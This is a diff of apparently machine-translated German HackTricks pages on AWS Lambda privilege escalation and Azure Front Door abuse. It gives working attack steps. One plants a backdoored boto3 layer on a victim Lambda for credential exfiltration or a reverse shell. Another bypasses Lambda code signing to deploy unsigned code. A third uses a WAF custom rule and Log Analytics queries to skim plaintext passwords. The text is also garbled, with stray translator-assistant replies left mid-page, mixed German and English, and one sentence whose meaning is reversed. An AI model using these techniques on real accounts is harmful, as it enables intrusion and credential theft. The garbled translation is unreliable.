-Es ist möglich, die Berechtigung `lambda:UpdateFunctionConfiguration` auszunutzen, um einer lambda-Funktion **eine neue layer hinzuzufügen**. Um beliebigen Code auszuführen, muss diese layer einige **Bibliotheken enthalten, die die lambda importieren wird.** Wenn Sie den Code der lambda lesen können, finden Sie das leicht; beachten Sie außerdem, dass die lambda **möglicherweise bereits eine layer verwendet** und Sie diese layer **herunterladen** und dort **Ihren Code hinzufügen** könnten.
+Es ist möglich, die Berechtigung `lambda:UpdateFunctionConfiguration` zu missbrauchen, um **eine neue Layer** zu einer lambda-Funktion hinzuzufügen. Um beliebigen Code auszuführen, muss diese Layer eine **Bibliothek enthalten, die die lambda importieren wird.** Wenn du den Code der lambda lesen kannst, findest du das leicht; beachte auch, dass die lambda **bereits eine Layer verwenden** könnte und du die Layer **herunterladen** und dort **deinen Code hinzufügen** könntest.

-Zum Beispiel, nehmen wir an, die lambda verwendet die Bibliothek boto3 — das würde eine lokale layer mit der neuesten Version der Bibliothek erstellen:
+Zum Beispiel: Angenommen, die lambda verwendet die Bibliothek boto3 — das würde eine lokale Layer mit der neuesten Version der Bibliothek erstellen:
 ```bash
 pip3 install -t ./lambda_layer boto3
 ```
-Du kannst `./lambda_layer/boto3/__init__.py` öffnen und **die backdoor im globalen Code hinzufügen** (eine Funktion, um exfiltrate credentials zu erlangen oder z.B. eine reverse shell zu bekommen).
+Du kannst `./lambda_layer/boto3/__init__.py` öffnen und **add the backdoor in the global code** (a function to exfiltrate credentials or get a reverse shell for example).

-Dann zippe das Verzeichnis `./lambda_layer` und **lade die neue lambda layer hoch** in deinem eigenen Account (oder im Account des Opfers, aber du hast dafür möglicherweise keine Berechtigungen).\
-Beachte, dass du einen python-Ordner erstellen und die Bibliotheken dort ablegen musst, um /opt/python/boto3 zu überschreiben. Außerdem muss die Layer **kompatibel mit der python-Version** sein, die von der lambda verwendet wird, und wenn du sie in deinem Account hochlädst, muss sie in der **gleichen Region:**
+Dann zippe das Verzeichnis `./lambda_layer` und **upload the new lambda layer** in deinem eigenen Account (oder im Account des Opfers, aber du hast dafür möglicherweise keine Berechtigungen).\
+Beachte, dass du einen python-Ordner erstellen und die Libraries dort ablegen musst, um /opt/python/boto3 zu überschreiben. Außerdem muss der Layer **compatible with the python version** sein, die von der Lambda verwendet wird, und wenn du ihn in deinem Account hochlädst, muss er in der **same region:**
 ```bash
 aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
 ```
-Mache jetzt die hochgeladene lambda layer **für jedes Konto zugänglich**:
+Mache nun die hochgeladene lambda layer **für jedes Konto zugänglich**:
 ```bash
 aws lambda add-layer-version-permission --layer-name boto3 \
 --version-number 1 --statement-id public \
 --action lambda:GetLayerVersion --principal *
 ```
-Und hänge den lambda layer an die victim lambda function an:
+Und hänge das lambda layer an die victim lambda function:
 ```bash
 aws lambda update-function-configuration \
 --function-name <func-name> \
 --layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
 --timeout 300 #5min for rev shells
 ```
-Der nächste Schritt wäre entweder, **die Funktion aufzurufen** (falls möglich) oder abzuwarten, bis **sie auf normalem Weg aufgerufen wird** — was die sicherere Methode ist.
+Der nächste Schritt wäre entweder, die Funktion selbst zu **invoke the function** (wenn wir können) oder zu warten, bis i**t gets invoked** auf normale Weise — was die sicherere Methode ist.

-Eine **heimlichere Methode, diese Schwachstelle auszunutzen**, findest du in:
+Eine **more stealth way to exploit this vulnerability** ist zu finden in:

 {{#ref}}
 ../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -240,11 +239,11 @@ Eine **heimlichere Methode, diese Schwachstelle auszunutzen**, findest du in:

 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`

-Vielleicht kannst du mit diesen Berechtigungen eine Funktion erstellen und sie über die URL ausführen... aber ich konnte keinen Weg finden, das zu testen — sag mir Bescheid, wenn du einen findest!
+Vielleicht kannst du mit diesen Berechtigungen eine Funktion erstellen und sie über die URL ausführen... aber ich konnte einen Weg finden, es zu testen, also lass es mich wissen, wenn du es tust!

 ### Lambda MitM

-Einige lambdas werden **sensible Informationen von den Nutzern in Parametern empfangen.** Wenn du RCE in einer davon erreichst, kannst du die Informationen exfiltrieren, die andere Nutzer an sie schicken — siehe:
+Einige lambdas werden **receiving sensitive info from the users in parameters.** Wenn du RCE in einem von ihnen bekommst, kannst du die Informationen exfiltrate, die andere Benutzer an sie senden — siehe dazu:

 {{#ref}}
 ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -255,25 +254,25 @@ Einige lambdas werden **sensible Informationen von den Nutzern in Parametern emp
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

-{{#include ../../../../banners/hacktricks-training.md}}
+




 ### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing

-Wenn eine Lambda-Funktion Code Signing erzwingt, kann ein Angreifer, der entweder die Code Signing Config (CSC) entfernt oder sie auf Warn herabstuft, nicht signierten Code in die Funktion deployen. Dies umgeht Integritätsschutzmaßnahmen, ohne die IAM-Rolle der Funktion oder Trigger zu verändern.
+Wenn eine Lambda-Funktion Code Signing erzwingt, kann ein Angreifer, der entweder die Code Signing Config (CSC) entfernt oder sie auf Warn herunterstuft, unsigned code in die Funktion deployen. Das umgeht integrity protections, ohne die function's IAM role oder triggers zu modifizieren.

 Permissions (one of):
 - Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
 - Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`

 Notes:
- Für Path B brauchst du kein AWS Signer-Profil, wenn die CSC-Policy auf `WARN` gesetzt ist (nicht signierte Artefakte erlaubt).
+- For Path B, you don't need an AWS Signer profile if the CSC policy is set to `WARN` (unsigned artifacts allowed).

 Steps (REGION=us-east-1, TARGET_FN=<target-lambda-name>):

-Bereite eine kleine Nutzlast vor:
+Prepare a small payload:
 ```bash
 cat > handler.py <<'PY'
 import os, json
@@ -282,7 +281,7 @@ return {"pwn": True, "env": list(os.environ)[:6]}
 PY
 zip backdoor.zip handler.py
 ```
-Pfad A) CSC entfernen, dann code aktualisieren:
+Pfad A) CSC entfernen, dann Code aktualisieren:
 ```bash
 aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
 if [ "$HAS_CSC" -eq 1 ]; then
@@ -292,7 +291,7 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
 # If the handler name changed, also run:
 aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
 ```
-Pfad B) Herabstufen auf Warn und update code (falls delete nicht erlaubt ist):
+Pfad B) Herabstufen auf Warn und Code aktualisieren (falls delete nicht erlaubt ist):
 ```bash
 CSC_ARN=$(aws lambda create-code-signing-config \
 --description ht-warn-csc \
@@ -303,15 +302,15 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
 # If the handler name changed, also run:
 aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
 ```
-Verstanden. Ich werde die relevanten englischen Texte in src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md ins Deutsche übersetzen und dabei genau die Markdown- und HTML-Syntax, Links, Pfade, Tags, Code, Technik- und Plattformnamen (z. B. aws, gcp), sowie die genannten Ausnahmen unverändert lassen.
+Bestätigt. Ich werde die relevanten englischen Texte aus der Datei ins Deutsche übersetzen und dabei Code, Technik‑/Tool‑/Cloud‑Namen, Begriffe wie "leak" und "pentesting", Links, Pfade sowie alle Markdown/HTML-Tags unverändert lassen. Ich füge nichts Zusätzliches hinzu.
 ```bash
 aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
 cat /tmp/out.json
 ```
-Potentielle Auswirkung: Möglichkeit, beliebigen nicht signierten Code in eine Funktion hochzuladen und auszuführen, die eigentlich signierte Deployments durchsetzen sollte, was möglicherweise zur Codeausführung mit den Berechtigungen der Funktionsrolle führt.
+Potentieller Impact: Möglichkeit, beliebigen nicht signierten Code in eine Funktion zu pushen und auszuführen, die eigentlich signierte Deployments durchsetzen sollte, was möglicherweise zur Codeausführung mit den Berechtigungen der Funktionsrolle führt.

 Bereinigung:
 ```bash
 aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
 ```
-
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-services/az-front-door.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-front-door.md
@@ -1,18 +1,81 @@
-# Az - Dateifreigaben
+# Az - Front Door

 {{#include ../../../banners/hacktricks-training.md}}

 ## RemoteAddr Bypass

-Dieser **[Blogbeitrag](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** erklärt, wie Sie beim Konfigurieren von Netzwerkbeschränkungen mit Azure Front Door basierend auf **`RemoteAddr`** oder **`SocketAddr`** filtern können. Der Hauptunterschied besteht darin, dass **`RemoteAddr`** tatsächlich den Wert aus dem **`X-Forwarded-For`** HTTP-Header verwendet, was es sehr einfach macht, dies zu umgehen.
+This **[blog post](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** erklärt, wie beim Konfigurieren von Netzwerkbeschränkungen mit Azure Front Door nach **`RemoteAddr`** oder **`SocketAddr`** gefiltert werden kann. Der Hauptunterschied ist, dass **`RemoteAddr`** tatsächlich den Wert aus dem **`X-Forwarded-For`** HTTP-Header verwendet, wodurch ein einfacher bypass möglich ist.

-Um diese Regel zu umgehen, können automatisierte Tools verwendet werden, die **IP-Adressen brute-forcen**, bis sie eine gültige finden.
+Um diese Regel zu umgehen, können automatisierte Tools eingesetzt werden, die **brute-force IP addresses** ausführen, bis eine gültige gefunden wird.

-Dies wird in der [Microsoft-Dokumentation](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction) erwähnt.
+This is mentioned in the [Microsoft documentation](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction).

+## Credential Skimming via WAF Custom Rules + Log Analytics

-## Referenzen
+Missbrauche Azure Front Door (AFD) WAF Custom Rules in Kombination mit Log Analytics, um Klartext-Anmeldedaten (oder andere Geheimnisse) abzufangen, die den WAF passieren. Dies ist kein CVE; es ist der Missbrauch legitimer Funktionen durch jede Person, die die WAF-Policy ändern und deren Logs lesen kann.
+
+Key behavior enabling this:
+- AFD WAF Custom Rules können Anfrageelemente abgleichen, einschließlich Headern und POST-Parametern.
+- Wenn eine Custom Rule die Aktion Log traffic only verwendet, wird die Evaluation fortgesetzt und der Traffic weitergeleitet (kein short-circuit), wodurch der Ablauf normal/stealthy bleibt.
+- AFD schreibt ausführliche Diagnosedaten in Log Analytics unter Category FrontDoorWebApplicationFirewallLog. Abgeglichene Payload-Details sind in details_matches_s enthalten, zusammen mit dem Regel-Namen in ruleName_s.
+
+### End-to-End-Workflow
+
+1. Ziel-POST-Parameter identifizieren
+- Prüfe das Login-Formular und notiere die Parameternamen (z. B. username, password).
+
+2. Diagnostics zu Log Analytics aktivieren
+- In your Front Door profile > Monitoring > Diagnostic settings, sende Logs an ein Log Analytics workspace.
+- Mindestens aktiviere die Kategorie: FrontDoorWebApplicationFirewallLog.
+
+3. Erstelle eine bösartige Custom Rule
+- Front Door WAF Policy > Custom rules > New rule:
+- Name: harmloser Name, z. B. PasswordCapture
+- Priority: niedrige Zahl (z. B. 5), sodass die Regel früh ausgewertet wird
+- Match: POST-Argumente username und password mit Operator = Any (beliebiger Wert)
+- Action: Log traffic only
+
+4. Ereignisse erzeugen
+```bash
+curl -i -X POST https://example.com/login \
+-H "Content-Type: application/x-www-form-urlencoded" \
+--data "username=alice&password=S3cret!"
+```
+5. Zugangsdaten aus Log Analytics extrahieren (KQL)
+```kusto
+AzureDiagnostics
+| where Category == "FrontDoorWebApplicationFirewallLog"
+| where ruleName_s == "PasswordCapture"
+| project TimeGenerated, ruleName_s, details_matches_s
+| order by TimeGenerated desc
+```
+Ich habe keinen Text zum Übersetzen erhalten. Bitte füge den Inhalt der Datei src/pentesting-cloud/azure-security/az-services/az-front-door.md hier ein (oder gib an, welche Abschnitte übersetzt werden sollen).
+```kusto
+AzureDiagnostics
+| where Category == "FrontDoorWebApplicationFirewallLog" and ruleName_s == "PasswordCapture"
+| extend m = parse_json(details_matches_s)
+| mv-expand match = m.matches
+| project TimeGenerated, ruleName_s, match.matchVariableName, match.matchVariableValue
+| order by TimeGenerated desc
+```
+Die übereinstimmenden Werte erscheinen in details_matches_s und enthalten die Klartextwerte, die mit Ihrer Regel übereinstimmten.
+
+### Why Front Door WAF and not Application Gateway WAF?
+- Application Gateway WAF custom-rule logs don’t include the offending POST/header values the same way; AFD WAF diagnostics include matched content in details, enabling credential capture.
+
+### Stealth and variants
+- Set Action to Log traffic only to avoid breaking requests and to keep other rules evaluating normally.
+- Use a low numeric Priority so your logging rule evaluates before any later Block/Allow rules.
+- You can target any sensitive names/locations, not only POST params (e.g., headers like Authorization or API tokens in body fields).
+
+### Prerequisites
+- An existing Azure Front Door instance.
+- Permissions to edit the AFD WAF policy and read the associated Log Analytics workspace.
+
+## References

 - [https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)
+- [Skimming Credentials with Azure's Front Door WAF](https://trustedsec.com/blog/skimming-credentials-with-azures-front-door-waf)
+- [Azure WAF on Front Door monitoring and logging](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-monitor)

 {{#include ../../../banners/hacktricks-training.md}}